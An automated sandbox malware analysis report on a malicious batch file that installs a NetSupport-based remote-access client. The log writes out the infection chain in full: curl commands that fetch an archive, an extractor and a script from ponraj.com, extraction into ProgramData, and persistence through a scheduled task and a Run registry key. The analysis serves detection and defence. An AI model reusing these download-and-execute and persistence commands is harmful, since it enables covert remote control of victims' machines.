Windows Analysis Report
tUUPQygorhzFkIcHuB.bat

Source: C:\Windows\System32\curl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\tUUPQygorhzFkIcHuB.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z" -o "C:\ProgramData\lol.7z"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z" -o "C:\ProgramData\lol.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\ProgramData\client32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\ProgramData\client32.exe

File created: C:\Users\user\AppData\Local\NetSupport

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\b1.vbs

Source: classification engine

Classification label: mal76.evad.winBAT@42/29@4/3

Source: C:\ProgramData\client32.exe

Code function: 16_2_1115C8E0 CoInitializeSecurity,CoCreateInstance,wsprintfW,wsprintfW,SysAllocString,wsprintfW,SysFreeString,

16_2_1115C8E0

Source: C:\ProgramData\client32.exe

File read: C:\ProgramData\client32.ini

Source: C:\ProgramData\client32.exe

Code function: 16_2_1105A760 GetLastError,FormatMessageA,LocalFree,

16_2_1105A760

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5704:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7072:120:WilError_01

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\tUUPQygorhzFkIcHuB.bat" "

Source: C:\ProgramData\7zz.exe

File written: C:\ProgramData\NSM.ini

Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\client32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\client32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\ProgramData\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Source: C:\ProgramData\7zz.exe

File opened: C:\ProgramData\msvcr100.dll

Command shell drops VBS files

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658246695.000000006C191000.00000020.00000001.01000000.00000008.sdmp, client32.exe, 00000015.00000002.412621307.000000006C191000.00000020.00000001.01000000.00000008.sdmp, client32.exe, 00000018.00000002.433970955.000000006C191000.00000020.00000001.01000000.00000008.sdmp, client32.exe, 00000019.00000002.451224635.000000006C191000.00000020.00000001.01000000.00000008.sdmp, msvcr100.dll.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, HTCTL32.DLL.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000000.406057046.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000010.00000002.654110401.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000015.00000000.410473552.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000015.00000002.411812182.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000018.00000000.431953663.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000018.00000002.433418912.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000019.00000000.449712542.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe, 00000019.00000002.450737079.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, client32.exe.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 0000000D.00000003.401594990.0000000002751000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658456410.0000000072B32000.00000002.00000001.01000000.00000006.sdmp, client32.exe, 00000015.00000002.412805633.0000000072B32000.00000002.00000001.01000000.00000006.sdmp, client32.exe, 00000018.00000002.434145253.0000000072B32000.00000002.00000001.01000000.00000006.sdmp, client32.exe, 00000019.00000002.451350429.0000000072B32000.00000002.00000001.01000000.00000006.sdmp, PCICHEK.DLL.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, HTCTL32.DLL.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 0000000D.00000003.401594990.0000000002751000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658393116.000000006DAE5000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 00000015.00000002.412768242.000000006DAE5000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 00000018.00000002.434111842.000000006DAE5000.00000002.00000001.01000000.00000007.sdmp, client32.exe, 00000019.00000002.451325130.000000006DAE5000.00000002.00000001.01000000.00000007.sdmp, pcicapi.dll.13.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr

Source: C:\ProgramData\7zz.exe	Code function: 13_2_0046CC80 push eax; ret	13_2_0046CCAE
Source: C:\ProgramData\7zz.exe	Code function: 13_2_00459590 push ecx; mov dword ptr [esp], ecx	13_2_00459591
Source: C:\ProgramData\client32.exe	Code function: 16_2_1116FF15 push ecx; ret	16_2_1116FF28
Source: C:\ProgramData\client32.exe	Code function: 16_2_1116AE09 push ecx; ret	16_2_1116AE1C

Source: 7zz.exe.5.dr	Static PE information: section name: .sxdata
Source: putty.exe.13.dr	Static PE information: section name: .00cfg
Source: putty.exe.13.dr	Static PE information: section name: .gxfg
Source: putty.exe.13.dr	Static PE information: section name: _RDATA
Source: PCICL32.DLL.13.dr	Static PE information: section name: .hhshare

Source: C:\ProgramData\7zz.exe

Code function: 13_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

13_2_00471C24

Source: initial sample

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b1.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b2.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b3.vbs	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run KAVAS			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run KAVAS			Jump to behavior

Source: C:\ProgramData\client32.exe	Code function: 16_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	16_2_110C1020
Source: C:\ProgramData\client32.exe	Code function: 16_2_11113380 IsIconic,GetTickCount,	16_2_11113380
Source: C:\ProgramData\client32.exe	Code function: 16_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	16_2_110CB750
Source: C:\ProgramData\client32.exe	Code function: 16_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	16_2_110CB750

Source: C:\ProgramData\client32.exe

Code function: 16_2_11144140 GetTickCount,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

16_2_11144140

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\ProgramData\client32.exe TID: 5824

Thread sleep time: -39400s >= -30000s

Source: C:\ProgramData\client32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\putty.exe	Jump to dropped file

Source: C:\ProgramData\client32.exe

Window / User API: threadDelayed 394

Source: C:\ProgramData\client32.exe

Evaded block: after key decision

graph_16-27666

Source: C:\ProgramData\client32.exe

API coverage: 6.0 %

Source: C:\ProgramData\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\ProgramData\7zz.exe

Code function: 13_2_0040C5F4 GetSystemInfo,

13_2_0040C5F4

Source: C:\ProgramData\7zz.exe

Code function: 13_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,

13_2_0040B174

Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node			graph_16-26275
Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node			graph_16-28147

Source: client32.exe, 00000018.00000003.433179369.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: HTCTL32.DLL.13.dr	Binary or memory string: VMware
Source: HTCTL32.DLL.13.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.13.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: curl.exe, 00000007.00000002.398580764.00000287CB4AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
Source: HTCTL32.DLL.13.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: client32.exe, 00000010.00000003.416129000.0000000001868000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.413797193.0000000001845000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.654405241.0000000001887000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.471297182.0000000001868000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.413186651.0000000005CF0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.655034913.0000000005CF1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.415412692.0000000001845000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.416809390.0000000005CF2000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.654247510.000000000179B000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.414065889.0000000001868000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.412310764.0000000005CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.13.dr	Binary or memory string: VMWare
Source: curl.exe, 00000003.00000003.393128342.0000022D39A12000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.396363893.000001615B1F2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.396228320.000001615B1EF000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000003.411572516.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000019.00000003.450501533.000000000073F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\ProgramData\client32.exe

Code function: 16_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

16_2_11162BB7

Source: C:\ProgramData\client32.exe

Code function: 16_2_11148360 GetLastError,wsprintfA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,SetLastError,GetKeyState,

16_2_11148360

Source: C:\ProgramData\7zz.exe

Code function: 13_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

13_2_00471C24

Source: C:\ProgramData\client32.exe

Code function: 16_2_1117D104 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,SetEndOfFile,GetLastError,

16_2_1117D104

Source: C:\ProgramData\7zz.exe	Code function: 13_2_0046E6AA SetUnhandledExceptionFilter,	13_2_0046E6AA
Source: C:\ProgramData\7zz.exe	Code function: 13_2_0046E6BC SetUnhandledExceptionFilter,	13_2_0046E6BC
Source: C:\ProgramData\client32.exe	Code function: 16_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	16_2_11031780
Source: C:\ProgramData\client32.exe	Code function: 16_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	16_2_110934A0
Source: C:\ProgramData\client32.exe	Code function: 16_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_11162BB7
Source: C:\ProgramData\client32.exe	Code function: 16_2_1116EC49 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_1116EC49

Source: C:\ProgramData\client32.exe

Code function: 16_2_11113190 GetKeyState,DeviceIoControl,keybd_event,

16_2_11113190

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z" -o "C:\ProgramData\lol.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y lol.7z C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\ProgramData\client32.exe

